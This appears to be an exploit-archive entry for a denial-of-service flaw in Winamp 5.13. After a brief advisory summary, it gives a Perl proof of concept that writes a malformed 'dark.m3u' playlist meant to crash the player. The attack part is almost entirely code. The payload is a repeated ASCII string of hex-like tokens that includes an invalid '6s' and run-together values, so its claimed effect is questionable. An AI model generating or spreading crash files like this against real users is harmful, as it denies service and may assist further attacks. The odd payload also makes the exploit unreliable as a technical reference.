Winamp 5.13 - .m3u File Exception Handling Remote Denial of Service

source: https://www.securityfocus.com/bid/54190/info

Winamp is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an affected application to crash, denying service to legitimate users which may aid in other attacks.

Winamp 5.13 is vulnerable; others may also be affected.

PoC : 
#!/usr/bin/perl
my $file = "dark.m3u";
my $cr = "4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f4e 5f 6e 9a 1c 2a 6s 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 5f";
open ($File, ">$file");
print $File $cr;
close ($File);